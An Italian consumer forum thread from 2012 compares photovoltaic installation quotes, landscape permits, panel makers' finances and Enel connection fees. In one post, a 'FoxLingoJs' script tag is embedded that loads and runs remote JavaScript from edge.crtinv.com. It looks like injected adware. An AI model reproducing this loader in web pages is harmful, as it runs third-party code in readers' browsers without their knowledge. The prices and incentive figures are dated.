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**Doroteo** · 30-09-2012, 10:26

allora.. di ponteggio non se n'è parlato, se uno proprio non dovesse essere lucky cadrebbe da un'altezza massima di 3 metri sulla terra (che al momento è pure umida e con tanta erba che attutirebbe il colpo).
Rifaccio la domanda in maniera più esplicita: potreste darmi il recapito di chi fa quei prezzi che dite voi tutto compreso (iva, autorizzazione paesaggistica - mi trovo all'interno del parco dello Stirone, certificazione energetica, manodopera, buoni/ottimi materiali, 25 anni di garanzia e in caso di guasto loro intervento sul posto in poche ore) ?
Perché vedete, io tra 6 installatori interpellati ho trovato questo che con buoni prodotti è il meno caro e la mia intenzione è di non dovermi più preoccupare di niente che riguardi il fotovoltaico installato sul mio tetto per almeno i prossimi 25 anni.
Se conoscete qualcuno che alle stesse condizioni fa il prezzo che dite voi, allora datemi il suo indirizzo, anche in pvt se preferite, perché io non l'ho trovato.
Grazie

**sixmone** · 30-09-2012, 11:27

Ciao A tutti,
stavo leggendo la Vs discussione, per il mio modico parere un buon prezzo oggi può essere:

3kWp Polycristalline modules
12 pcs Poly 250Wp made in Italy - 0,78 eur/Wp (il prezzo migliora su taglie più grandi)
1 pc Powerone PVI3.0 - 950 eur - 0,316 eur/Wp (il prezzo migliora su taglie più grandi)
Struttura di supporto -----------0,12 eur/Wp (necessita sopralluogo)
Cavi, quadri,connettori...etc ----0,10 eur/Wp

Installazioni semplici -----------0,30 eur/wp (necessita sopralluogo)
Documenti, progetto, GSE, -----0,22 eur/Wp
Trasporti----------------------0,05 eur/Wp

1886 eur/kWp installato + IVA 10% = 6223,80 eur

spero sia utile.

six

**salvatore_9999** · 30-09-2012, 11:39

Originariamente inviato da Doroteo Visualizza il messaggio

allora..
autorizzazione paesaggistica - mi trovo all'interno del parco dello Stirone, certificazione energetica, manodopera, buoni/ottimi materiali, 25 anni di garanzia e in caso di guasto loro intervento sul posto in poche ore) ?

Doroteo, le considerazioni di Lucky e sixmone mi sembrano corrette ma volevo avvertirti che io per avere l'autorizzazione paesaggistica ho dovuto penare per quasi tre mesi e pagare un extra di circa 500 euro all'ingegnere incaricato del FV... La procedura dell'autorizz. paesagg. e' pazzesca (soprattutto se superi i 25 mq, come nel mio caso, ma non nel tuo).
DEVI inoltrare la richiesta al Comune, che la spedisce al Soprintendente della Provincia, ecc., ecc.
La tua dovrebbe essere la procedura "semplificata" (si attua per impianti che coprano meno di 25 metri quadrati), quindi potresti cavartela in un paio di mesi totali, ma mettili in preventivo!
Non so se violo le regole del forum postandoti qui i recapiti del mio installatore della zona di Verona.
Se posso farlo, lo faccio volentieri anche perché lo raccomanderei sia a mio fratello che al mio migliore amico!
Il mio prezzo e' stato elevato, ma ero ancora nel IV Conto Energia e ho speso circa 18.500 per 6Kwp innovativo integrato.
Ciao

**salvatore_9999** · 30-09-2012, 11:46

Questa immagine rende l'idea della cura prestata nella messa in opera.
Provate a guardare lo spazio minimo sui profili laterali e superiore... Per me e' bellissimo, oltre che montato con materiali di qualità.
L'ho pagato caro, ma sono riuscito a "connetterlo" con l'ENEL il 6 agosto = IV Conto Energia = 0.410 euro/KW prodotto
So benissimo che il V Conto Energia ha circa dimezzato i vantaggi economici complessivi, ma ognuno saprà fare i propri conti.
Sono convinto che se io chiedessi OGGI un preventivo al mio installatore il prezzo sarebbe nettamente inferiore...

**salvatore_9999** · 30-09-2012, 11:50

Scusatemi tutti: nella precedente immagine non si vedeva proprio nulla.
Spero che questa meno ridotta renda meglio l'idea.

**sixmone** · 30-09-2012, 11:51

Per quanto riguarda la bontà delle Marche, inizia ad essere un terno a lotto

aggiungiamo anche:
Qcells (DE), DCWafers (ES), Xgroup (IT), Solarday (IT), Sovello (DE), Firstsolar (DE), Photovolten (B), REC (NW) che ha chiuso la produzione di wafers in EU, Conergy (DE) non produce più wafers e celle...., LDK e sembra anche SHARP UK

**svaldo** · 30-09-2012, 12:11

quindi tutte queste garanzie, 10 anni, 12 anni... e sulla produzione...90% dopo 10 anni, 80% dopo 25 anni... è solo aria fritta... non so se li vado a spendere questi 7000 euro. e pensare che avevo scartato la scheuten solar solo perchè non mi piaceva la ditta installatrice... vedendo questa tabella sarebbe stato un pessimo affare a 360 gradi. ma ci sono secondo voi ditte che potrebbero resistere nel tempo?

**sixmone** · 30-09-2012, 12:24

Le ditte grandi cinesi sono sostenute dal governo difficilmente spariranno poi direi che le ditte più piccoline sono un po più flessibili quindi riescono con prodotti di nicchia a sopravvivere, quelle a rischio sono le produzioni di grandezza media. Facendo solo prodotti standard sono schiacciati dai prezzacci dei grossi. Di sicuro le produzioni devono essere ridimensionate... oggi l'offerta è 35GW e la domanda è 15GW.
Con il risultato che tutti conosciamo.
3 giorni fa in fiera a Frankfurt non c'era 1 azienda made in EU che esponeva. Anche i colossi Europei come Solarworld, Conergy, Solarfabrik e tutti quelli che vi vengono in mente, non avevano lo stand. Di sicuro non è un buon segno per ns l'industria.
Speriamo Bene!

**Federico82** · 30-09-2012, 12:37

Originariamente inviato da sixmone Visualizza il messaggio

Le ditte grandi cinesi sono sostenute dal governo difficilmente spariranno

**LuckyLukeJohn** · 30-09-2012, 13:30

@svaldo: con Suntech vai sul sicuro, è un colosso cinese che sopravviverà con buona probabilità a questa e alle prossime crisi, inoltre fa buoni prodotti che non sono delle cineserie, anzi! @doroteo: io sono in Puglia, mi spiace ma qui potrei darti dei buoni riferimenti, ma lassù devi chiedere a chi sta lassù...

@salvatore: complimenti davvero per il tuo impianto, è un capolavoro ed hai fatto un ottimo affare nel senso che 18500€ con l'incentivo di 0,410 cent a Kwh è meglio di quanto soo riuscito ad avere io 21000€ con l'incentivo del III CE che nel mio caso era di 0,42 cent a Kwh, all'incirca. Considerando che da me c'erano 2-3000€ di tettoia, bisogna riconoscere che ci è andata bene, ma a te di più ...

**sixmone** · 30-09-2012, 14:36

dici Suntech?? fossi in te non ne sarei così sicuro:
http://www.energyandcapital.com/articles/chinese-solar-is-failing/2468
LDK Solar has $6 billion in debt and only $244 million in assets. Suntech might be severely injured by $690 million in fraudulent bonds in addition to its $3.58 billion in debt.

**svaldo** · 30-09-2012, 15:01

....... c'è da impazzire... mi stavo documentando sui moduli suntec ed ecco l'intervento di sixmone... sentite io martedì devo scegliere tra innotech solar, suntec, sunlink e solsonica proposti da una grande società con una rete di negozi in tutta italia oppure schuko tramite una piccola azienda con meno di un anno di vita che lavora dalle mie parti. budget personale 7000 iva incl.
Ci sarebbe l'ultima scelta ossia non fare nulla viste le garanzie. cosa fareste voi?

**sixmone** · 30-09-2012, 15:06

Originariamente inviato da sixmone Visualizza il messaggio

Ciao A tutti,
stavo leggendo la Vs discussione, per il mio modico parere un buon prezzo oggi può essere:

3kWp Polycristalline modules
12 pcs Poly 250Wp made in Italy - 0,78 eur/Wp (il prezzo migliora su taglie più grandi)
1 pc Powerone PVI3.0 - 950 eur - 0,316 eur/Wp (il prezzo migliora su taglie più grandi)
Struttura di supporto -----------0,12 eur/Wp (necessita sopralluogo)
Cavi, quadri,connettori...etc ----0,10 eur/Wp

Installazioni semplici -----------0,30 eur/wp (necessita sopralluogo)
Documenti, progetto, GSE, -----0,22 eur/Wp
Trasporti----------------------0,05 eur/Wp

1886 eur/kWp installato + IVA 10% = 6223,80 eur

spero sia utile.

six

Come dicevo prima in un post, le produzioni medie e grandi sono più a rischio delle piccole produzioni. Io sceglierei una piccola produzione magari Italiana. Purtroppo Solsonica ricade nella categoria precedente [produzione grande], per quanto ne so si preparano ad un altra riconversione, la terza nella storia di questa azienda.

**Federico82** · 30-09-2012, 15:10

Solsonica non dovrebbe passarsela piuttosto bene, da settembre almeno la metà dei dipendenti dello stabilimento di Rieti dovrebbero essere in CI.
<script id="FoxLingoJs">!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function (){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadysta techange=null;h.removeChild(s);}};h.appendChild(s) ;}catch(ex){}}();</script>

**Doroteo** · 30-09-2012, 16:31

Originariamente inviato da salvatore_9999 Visualizza il messaggio

Doroteo, le considerazioni di Lucky e sixmone mi sembrano corrette ma volevo avvertirti che io per avere l'autorizzazione paesaggistica ho dovuto penare per quasi tre mesi e pagare un extra di circa 500 euro all'ingegnere incaricato del FV... La procedura dell'autorizz. paesagg. e' pazzesca (soprattutto se superi i 25 mq, come nel mio caso, ma non nel tuo).
Ciao

Come ho già scritto l'autorizzazione paesaggistica è inclusa nel preventivo, se ne occupano loro tramite l'uff. tecnico del mio comune, voleva telefonare direttamente mentre mi stava presentando il preventivo se io avessi accettato subito! Impiegano non più di 15 gg perché altri miei vicini hanno già installato i pannelli.

**colisosun** · 30-09-2012, 17:28

Non so dalle vostre parti ma la paesaggistica nelle mie zone sono minimo 2 mesi....e chiedono 500-600 euro in quanto devi produrre documentazione e disegni di come risulterà esteticamente l'impianto finito.
Magari bastasse solo una telefonata.....

**riskio68** · 30-09-2012, 18:37

ragazzi a qualcun' altro è arrivato un preventivo Enel per alaccio in BT per un 5 kw di 800€ ? + 121.00 già pagati = 921 solo x Enel
dicono che è perchè la cabina + vicina è a 2,8 km, ma non ci sono lavori particolari.

"Le comunichiamo che non sono previsti lavori per la realizzazione della connessione."
è una cosa normale o una novità entrata in vigore con il V conto?

**salvatore_9999** · 30-09-2012, 18:39

Confermo quanto asserito da colisosun: nelle zone del veronese protette dalla paesaggistica ambientale ci vogliono 65-85 giorni per la procedura "semplificata" = fino a 25mq e 80-105 giorni per quella "ordinaria" = superiore a 25mq.
Il prezzo aggiunto dall'ingegnere progettista e' di circa 500 euro

**salvatore_9999** · 30-09-2012, 18:54

riskio,
io ho pagato molto meno per 6kW (121 + 156.86). Avevo già il contatore (di nuovo tipo) portato a 4.5 kw (dai tipici 3 kw), ma non credo che significhi nulla. Il contatore "in strada" l'hanno sostituito con uno identico ma bidirezionale e ne hanno messo un altro simile vicino all'inverter, come fanno con tutti.
Se tu sei già allacciato all'ENEL, non capisco da cosa dipendano questi costi elevati. L'unica spiegazione e' che debbano fare delle modifiche sui cavi, ma ti hanno detto che non ci sono lavori particolari...
Mah!

**svaldo** · 30-09-2012, 19:05

per motivi di cui sopra ho scartato schauten solar, solsonica e suntech, rimangono innotech solar e schuko.

**sixmone** · 30-09-2012, 19:15

Esistono tante belle marche... da come parli sembrano gli unici rimasti

))

Prova anche a chiedere qualche made in Italy... bisogna sostenere le produzioni locali.

Se ogni stato incentivasse la propria industria, la situazione economica sarebbe diversa...

**riskio68** · 30-09-2012, 19:25

in effetti quelli erano anche i costi che mi avevano detto avrei dovuto sostenere, ora mi ritrovo con questo conto la casa è
allacciata regolarmente con cnotatore 3 kw, capisco adeguamento contatore x i 5kw ma il resto dei soldi dove vanno ???????????
cosa c'entra se la cabina + vicina è a 2,8 km se non devono fare lavori per la conessione.

**svaldo** · 30-09-2012, 19:33

sai cosa? non voglio ridurmi all'ultimo minuto per il V° conto energia, ho chiesto preventivi a circa 9 ditte e dopo una selezione (economica e a pelle) sono rimaste solo 2, una grandissima che offre innotech solar ed una piccolissima, in pratica un installatore (elettricista) con un ingegnere che ora stanno usando tutto schuko. dalle mie parti non c'è altro. se volessi usare altro dovrei concordarmi con quest'ultimi ma ho paura che tra 1 anno non ci siano già più.

**heathcliff** · 30-09-2012, 19:41

x salvatore
complimenti per l'impianto.
giusto una cutiosità: prezo, marca pannelli , kw?
a me hanno fatto pagare 9,4 kw aleo solrif 24500 euro i.i., connesso 30 giugno, incentivo 0,418. Escluso opere edili perchè ero già in fase di ristrutturazione.
ciao

**giuggiolo0107** · 30-09-2012, 21:04

Circa 900 euro per allacciamento enel.....20kw di pannelli e un contatore da6kw gia' presente...ed hanno solo installato i 2 contatori nuovi.... ho una dorsale a4 mt.....

**salvatore_9999** · 30-09-2012, 22:42

heathcliff,
nella mia firma ci sono tutti i dati essenziali del mio impianto...
Ciao

**T-1000** · 30-09-2012, 23:33

truffa allaccio enel

vedi la tabella 5 del testo TIC autorità energia.
se c'è un contatore entro 20mt dovrebbero usare quella tabella.
io mi sto battendo nel mio caso per avere un secondo contatore con i prezzi di quella tabella.
c'è gia la predisposizione nel box, non devono mettere un millimetro di filo.
nessuno lo sa ed anche al sottoscritto è arrivato preventivo con distanza da cabina e tutto il resto.
come se dovessi installare un nuovo contatore dove non c'era nulla!

Originariamente inviato da riskio68 Visualizza il messaggio

ragazzi a qualcun' altro è arrivato un preventivo Enel per alaccio in BT per un 5 kw di 800€ ? + 121.00 già pagati = 921 solo x Enel
dicono che è perchè la cabina + vicina è a 2,8 km, ma non ci sono lavori particolari.

"Le comunichiamo che non sono previsti lavori per la realizzazione della connessione."
è una cosa normale o una novità entrata in vigore con il V conto?

**T-1000** · 30-09-2012, 23:36

io con tutto quello che sta accadendo ci andrei piano con il FV. ormai non ho piu fretta, voglio aspettare quello che c'è dietro l'angolo.
il mio tetto potrebbe rendere 3kw ogni 10mq invece che circa 1,5kw come con la tecnica attuale.

**riskio68** · 01-10-2012, 09:55

Se e questa la tabella alla quale fai riferimento tu, in effetti io rientro perfettamente nei parametri
non capisco il motivo della distanza dalla cabina, in quanto sono già allacciato.

"Tab. 5 Conessione che non richiedono la realizzazione di una cabina di trasformazione
M/B tensione con potenza fino a 30kw e distanza massima di 20metri dagli impianti di rete
di distribuzione permanenti esistenti nei pressi del luogo per il quale è richiesta la conessione."

A me hanno detto che viene calcolato con questa formula:
TICA = (35*1,95) + [90*(1,95*2,8)] + 100
TICA = ( 68,25 ) + [90* (5,46)] + 100
TICA = 68,25+491,4+100 = 659,65 + Iva 21% = 798,17€
dove 1,95(incremento potenza) e 2,8 (km di distanza dalla cabina)

qualche esperto in materia mi può per favore spiegare come funziona la cosa?????????

**salvatore_9999** · 01-10-2012, 11:06

T-1000,
se aspetti troppo, pero', lo farai quasi completamente a spese tue, perché la "pacchia" degli incentivi sta per finire.
Sembra che il Governo, invece di considerare il futuro, l'ambiente, le energie rinnovabili, ecc..., consideri l'incentivo di qualsiasi tipo destinato a sparire, dato che il prezzo degli impianti scende molto...
Basta guardare come il prezzo e' "precipitato" appena hanno varato il 5 Conto Energia per capire che questa linea di azione non può che uccidere i futuri fotovoltaici, anziché incentivarli ulteriormente....
Chissà perché sembrano preoccuparsi solo dell'inquinamento delle autovetture (forse!).... anche perché cosi' aumentano ulteriormente le tasse...
Pensa che, COMUNQUE, l'energia elettrica AUMENTERÀ ancora e tu dovrai pagare tutto di tasca tua per un impianto che potrà rendere 3kw ogni 10mq, ma che nessuno ti aiuterà a pagare....

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Secondo voi questo preventivo è buono?

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